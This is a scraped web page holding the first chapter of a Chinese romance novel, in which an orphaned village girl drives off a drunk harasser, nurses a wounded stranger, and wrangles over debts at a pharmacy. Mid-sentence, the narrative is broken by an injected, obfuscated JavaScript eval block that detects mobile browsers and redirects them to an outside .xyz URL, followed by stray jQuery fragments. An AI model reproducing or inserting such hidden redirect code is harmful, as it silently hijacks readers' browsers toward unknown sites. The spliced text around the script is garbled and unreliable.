默认冷灰
24号文字
方正启体

1. 第 1 章

作者:不配南本书字数:K更新时间:
    第一章


    天色说变就变,原本万里无云的好天气,忽就开始下起毛毛春雨,山林间缓缓升起片氤氲的水雾。


    丁翠薇挑着两个箩筐,由林中快步走出,几颗草药被悠悠颠出,她半截裤腿都溅上泥点子,发髻上也挂了片落叶。山路陡峭难行,使得耗费了许多体力,可家中还躺着个重患,人命关天,所以她并不敢停下歇息。


    她脚下步子愈发快,眼瞧就快到村口,前方走来个浑身酒味脚步飘移的男人,丁翠薇沉下脸,往一旁避让,谁知男人却猛然凑近,直直伸出长臂,竟就要来揽她。


    丁翠薇将肩头担子一撂,利落抽出镰刀,毫不犹豫直直砍去,张嘴就是骂,“刘瘪三,灌了几杯马尿,就敢犯到你姑奶奶*头上来是吧?”


    刘瘪三就算有十分的色急,也被那把磨得铮亮的镰刀吓退了几分,偏他就喜欢这个泼辣劲儿,所以倒也没恼,只枭笑着赞了声,“生起气来都这么美,够味儿!左右曹安入京赶考将你抛诸脑后了,不如今后干脆跟了我?"


    丁翠薇浑身紧绷着,又抓起镰刀朝他挥了两刀,“跟你?呸,你也配!”


    刘瘪三是个十里八乡都人见人怕的捣子,身上有几分武艺,就喜欢轻薄貌美的小娘子,年前才因偷香窃玉下了狱,现下估摸是使了些手段与银两和解,才将将被放出来,就犯到了丁翠薇身前。


    丁翠薇忌惮着这些流氓,夜里都要将把菜刀放在枕下。


    刘瘪三眼见她不是个好相于的,面上阴沉了几分,唾骂了些入不了耳的腌臜话后,又道了句,“你装什么装,之前就被曹安沾了身子,现下又耐不住寂寞,捡了个野男人藏在屋里,同吃同住,日日睡在一张床上,还当自己是贞洁烈妇不成!”


    “我便是将全天下男人睡遍,都轮不上你!”


    丁翠薇气得直哆嗦,干脆轮着镰刀就冲过去,她自是不敢真的硬碰硬,不过是看他醉酒神智不清醒,挥刀唬人罢了,好在气势足够盛,倒也确逼得刘瘪三连连后退,脚底趔趄着,滚到田地里去了。


    她见状松了口气,立即挑起扁担,往家的方向疾步而去,身后传来刘瘪三气急败坏的声音,“今后自有你哭喊求饶的那天,没了曹安,你当这桃源村还有谁能护得住你?”


    听到那个熟悉的名字,丁翠薇脑中浮现出张男人的端正面庞,脚下的步子只愈发快。


    回到家中,她先将杵在院中呆坐淋雨的丁叔牵进屋,而后又扭身去了西南的侧屋,一撩帘子,就望见了那个躺在塌上,尚未转醒的男人。


    七日前,丁翠薇如常出门采药,在河边发现了气息奄奄的男人。他不知在水中飘了多久,浑身湿透,身体都被泡得有些发胀,发髻散落浸了血沾在脸上,看不清面容,一动不动躺在块大石后头。


    丁翠薇并非乱发善心的好人。如今世道乱,她本就自顾不暇,更不愿给自己平添麻烦,以往碰上这种情况,她定是扭头就走,可蓦然瞥见男人坠在腰间的那块玉翡。


    通体碧绿,成色极好,世所罕见。


    她只当此人死透了,便想将其埋了,刻块立碑,那玉翡便算是收尸钱。


    可就在她伸手去取玉时,这男人竟醒了,一把拽住她的手腕,好似在用最后的余力,气若游丝道,“救我……莫要声张……”


    "……救命之恩,必有重谢。"


    他呼吸很弱,音量极轻。


    可这最后一句,实实在在说到了丁翠薇心里。


    由这块玉翡,及他身上所着衣饰来看,此人必是个偶然落难的贵人,她若在此时搭把手襄救,今后的好处,指不定比那块玉还要更大。


    丁翠薇思量再三,到底拖来木板车,费了九牛二虎之力,将他拉回了家。她未将此事说出去,只喊口风严谨的苏大夫来看诊,此人伤势极重,身上各处都有许多新旧伤口,左腿还摔骨折了。


    为了救他,丁翠薇花光了多年积攒下来的积蓄。


    又是熬药又是擦身,在衣不解带地照顾下,男人高热这才退了,他身上穿着丁叔的补丁衣裳,却掩盖不住英俊的相貌,五官都如刀刻过般,英武硬朗极了。


    只是闭眼静躺着,都有种华彩满堂,矜贵雅润的气韵。


    眼见他状况尚好,丁翠薇便暂且照顾丁叔用过饭,雨势渐停,她就先去镇上药铺跑了一趟。


    ——


    丁翠薇是个孤儿,从小被丁叔收养,二人相依为命,靠杂耍卖艺为生,原是要往京城去,可在她十一岁时,丁叔的疯病愈发严重,已到了神智不清的地步,便只能暂且滞留在了桃源村。


    这一待,就是六年。


    期间靠着村中的好心人照拂,以及县令曹家关照,丁翠薇才能带着丁叔在此处扎根立足。正是桃李年华的年纪,她出落得愈发亭亭玉立,素衣木钗也难掩仙姿月貌,常招些居心叵测之人惦记,不过以往尽数让曹安挡下了,可现下她与曹家翻了脸,今后只怕免不了麻烦。


    桃源村离镇上有段距离,要走上小半时辰,丁翠薇偶尔能搭上同乡的便车,可今天运气不好,只能靠双腿走着去。正是春季农忙时,农户们都在田中下种犁地,脊背落下又复起,操劳不休。


    等赶到药铺时,已是申初时分。


    苏大夫外出看诊去了,只苏大娘在埋头拨算盘看帐,见她的瞬间,将嘴一撇。


    “欠债的伥鬼又来了。”


    丁翠薇遭了嘲讽也不生气,反而堆出张笑脸,将满背篓的的药材捧上去,“大娘菩萨一般的人,再宽限我一阵,至多半月,不,至多七日,我必能将帐还上。”


    她这番说辞,苏大娘听过不止一次,耳朵都要起茧了,原想再讥讽几句,可眼见筐中有颗个头不小的人参,面色稍霁,到底给她倒了杯玉米须茶,恨铁不成钢似得叹了口气。


    “那曹安想纳你为妾时,你很该一口应下。他是县令之子,又在乡试上得中解元,此次入京参考必能得中,打眼瞧着就是飞黄腾达的好前程,入他后宅莫非还屈就了你不成,若你当初点了头,便不必再吃这些苦,欠我的帐也能还


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15471578|169881||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    上,现下还有反悔的余地,不如……”


    丁翠薇只自顾将那颗山参递上前去,笑着打断了她的话语,“这颗参根壮须长,我悬空在崖边挖了许久,才完好无损凿出来哩,大娘行行好,可否给我多抵扣些银钱?”


    苏大娘可眼见她不接话茬,气得抬起指尖搓她脑门,“我还能害你不成?论起来你也就是个无父无母的孤女,身侧还有个疯子做拖累,曹安便是你此生最好的前程,莫非你还能碰上比他更好的男人?”


    “就算碰上了,还能指望他娶你做正妻?”


    丁翠薇遭了奚落,笑容依旧不减分毫,只将话头往药草上引,苏大娘自觉无趣,便也不说了,只将药材钱核算清楚,敲打了番还款时间,在她离开时,往背篓里塞了两个冷面饼。


    想到家中一堆琐事,丁翠薇踏出药铺的脚步有些沉重。


    丁叔的药不能停,锄具坏了需得换,棉被也已朽得漏白,更别提现还新捡了个病秧子……这桩桩件件,哪都需要银钱,而她现已到了山穷水尽的地步。


    丁翠薇折身去了趟灵水巷。


    之前在此处浆洗做工时,还有笔三十文的银钱尚未结清,正好今日讨要回来,解燃眉之急。


    只是万万没想到,现下才过了区区半旬,当时用工的老妪竟就不认帐了,口口声声说没有这回事,还抄起扫帚要撵人。


    丁翠薇并非任人拿捏的软柿子。


    她气得瞪圆了眼,将背篓往地上一摔,抡起袖子,就与那老妪吵嚷起来,“打量无人为我出头,所以就敢如此欺我?那你便是踢到了铁板!这三十文你若敢不给,我现下便告到县衙去,届时不仅让你翻了数倍还,还必得让衙役狠狠打你顿板子,你若不信,大可试试!”


    那老妪确是看她没有依靠,所以才想将此事糊弄过去,可眼见她如此泼辣烈性,且联想起她与那县令嫡子说不清道不明的关系,又有些投鼠忌器,只得一拍脑门,佯装才想起来,连连讪笑着解释。


    “薇娘莫怪,原是老身年龄大了记性不好,或是记岔了,原也不是什么大事,薇娘快莫叫嚷,我现在就进屋拿银钱去,你在此处稍等等……”


    这三十文钱确是要回来了,可丁翠薇心中却有些不是滋味。


    先前因着不愿嫁给曹安做妾,本就让曹家人对她生出许多不快,原是不好再有任何干系,可到了这种时候,却也只能扯着曹家的虎皮做大旗。


    区区三十文,经不得使。


    丁翠薇还未将它捂热,就将它换成了干农活必备的新锄具,甚至没余钱再给于叔换套新棉被……操劳了大半天,才踩着太阳最后一丝余晖回了家。


    脚下的千层底布鞋经不起折腾,后跟处崩开了个豁口,丁翠薇正对着暖黄的烛光穿针,想要将其缝合。


    其实那处已修修补补了许多次,实在没有太多落针余地。


    正在她聚精会神穿针拈线之际……由床榻的方向,传来低沉磁性,却虚弱无比的男声。


    “……是姑娘救了我?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)